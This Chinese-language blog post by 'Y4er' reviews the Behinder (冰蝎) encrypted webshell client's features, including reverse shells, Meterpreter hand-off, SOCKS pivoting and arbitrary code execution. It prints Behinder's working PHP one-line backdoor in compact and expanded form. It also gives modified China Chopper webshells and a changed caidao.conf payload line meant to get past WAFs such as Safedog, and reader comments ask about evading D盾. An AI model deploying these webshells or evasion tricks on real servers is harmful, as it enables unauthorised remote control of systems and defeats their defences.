作为新型加密网站管理客户端,冰蝎算是作为中国菜刀的替代者。我们来看下他的主要功能。
主要功能
1. 基本信息
客户端和服务端握手之后,会获取服务器的基本信息,Java、.NET版本包括环境变量、系统属性等,PHP版本会显示phpinfo的内容。
2. 文件管理
这个没什么好说的,无非是文件的增删改查,稍微不同的是上传的文件都是加密传输的,可以避免被拦截。
3. 命令执行
执行单条操作系统命令。
4. 虚拟终端
虚拟终端是模拟了一个真实的交互式Shell环境,相当于把服务器侧的Shell给搬到了客户端,在这个Shell里可以执行各种需要交互式的命令,如ssh、mysql。比如说:我们可以在这个Shell里去ssh连接服务器侧内网的其他主机,可以参考下面这个动图:
当然,如果你习惯powershell,也可以弹个powershell出来,如下图:
5. Socks代理
虚拟终端功能其实就已经部分实现了内网穿透的能力,在Shell环境里做的所有事情都是在内网环境中的。不过为了方便使用其他工具,客户端还提供了基于一句话木马的Socks代理功能,一键开启,简单高效,可以参考如下动图:
顺便说一下,代理过程中所有的流量都是在socks的基础上封装了一层AES。
6.反弹Shell
反弹Shell是突破防火墙的利器,也几乎是后渗透过程的必备步骤。提到后渗透,当然少不了metasploit,提到metasploit,当然少不了meterpreter,所以冰蝎客户端提供了两种反弹Shell的方式,常规Shell和Meterpreter,实现和metasploit的一键无缝对接。请参考如下动图:
上图演示的是Meterpreter,当然常规的Shell也可以对接metasploit,就不演示了。
7.数据库管理
和常规管理工具不同的是,在Java和.NET环境中,当目标机器中没有对应数据库的驱动时,会自动上传并加载数据库驱动。比如目标程序用的是MySQL的数据,但是内网有另外一台Oracle,此时就会自动上传并加载Oracle对应的驱动。
8.自定义代码
可以在服务端执行任意的Java、PHP、C#代码,这也是个常规功能,值得一提的是我们输入的代码都是加密传输的,所以不用为了躲避waf而用各种编码变形,效果请参考如下动图:
9.备忘录
渗透的时候总有很多零碎的信息需要记录,所以针对每个Shell提供了一个备忘录的功能,目前只支持纯文本,粘贴进去自动保存:
接下来我们看下他的亮点出在哪里
看下他的php一句话
<?php session_start();isset($_GET['pass'])?print $_SESSION['k']=substr(md5(uniqid(rand())),16):($b=explode('|',openssl_decrypt(file_get_contents("php://input"), "AES128", $_SESSION['k'])))&$b[0]($b[1]);?>
为了代码可读性,我们来扩充下:
<?php session_start(); if (isset($_GET['pass'])) { $key=substr(md5(uniqid(rand())),16); $_SESSION['k']=$key; print $key; } else { $key=$_SESSION['k']; $decrptContent=openssl_decrypt(file_get_contents("php://input"), "AES128", $key); $arr=explode('|',$decrptContent); $func=$arr[0]; $params=$arr[1]; $func($params); } ?>
介绍下流程
-
首先get发起带密码的请求,服务端随机产生密钥存入session。
-
获取session中的密钥,然后将客户端发送的源代码进行aes加密,通过
|
分割,然后通过php的可变函数执行。
具体一点,比如我们客户端有一段代码
assert|eval("phpinfo();")
进行aes128加密发送给服务端,服务端用explode
函数分割字符,索引为0的是assert
,索引为1的是eval("phpinfo();")
,然后通过可变函数执行assert("eval(\"phpinfo();\")")
,这样就很清晰明了了。
过waf的效果
常规一句话<?php @eval($_POST['caidao']);?>
菜刀链接:
新型一句话冰蝎链接:
对菜刀的修改
对这个一句话颇感兴趣,那么我们是不是可以把菜刀也改一改呢?
我本地搭建了环境,一句话内容为<?php @eval($_POST['caidao']);?>
先来抓包看下菜刀的请求包
%s
是执行的命令
ZXZhbChiYXNlNjRfZGVjb2RlKCRfUE9TVFtpZF0pKTs%%3D&id=%s
解密后
eval(base64_decode($_POST[id]));&id=%s
那么我们的一句话可以这样写
<?php if ($_GET['pass']!=1){ } else{ $decrpt = file_get_contents("php://input"); $arrs = explode("|", $decrpt)[1]; $arrs = explode("|", base64_decode($arrs)); call_user_func($arrs[0],$arrs[1]); } ?>
你也可以这样来
<?php $decrpt = $_POST['x']; $arrs = explode("|", $decrpt)[1]; $arrs = explode("|", base64_decode($arrs)); var_dump($arrs[0],$arrs[1]); call_user_func($arrs[0],$arrs[1]); ?>
那么我们菜刀要改下
|assert|eval(base64_decode($_POST[id]));|&id=%s
在caidao.conf的45行就要改成
|YXNzZXJ0fGV2YWwoYmFzZTY0X2RlY29kZSgkX1BPU1RbaWRdKSk7|&id=%s
这样和冰蝎实现的效果就一样了,同样过狗,愉快玩耍吧!
涉及到的资料,表示感谢!
https://www.t00ls.net/thread-48079-1-1.html
原创文章,作者:Y4er,未经授权禁止转载!如若转载,请联系作者:Y4er
评论列表(2条)
soul大佬~?
常规一句话被控端不做base64_decode($_POST[])操作
菜刀客户端.conf配置
如何才能改出最好的免杀过D盾
服务端不做加密混淆操作怕是不好过D盾啊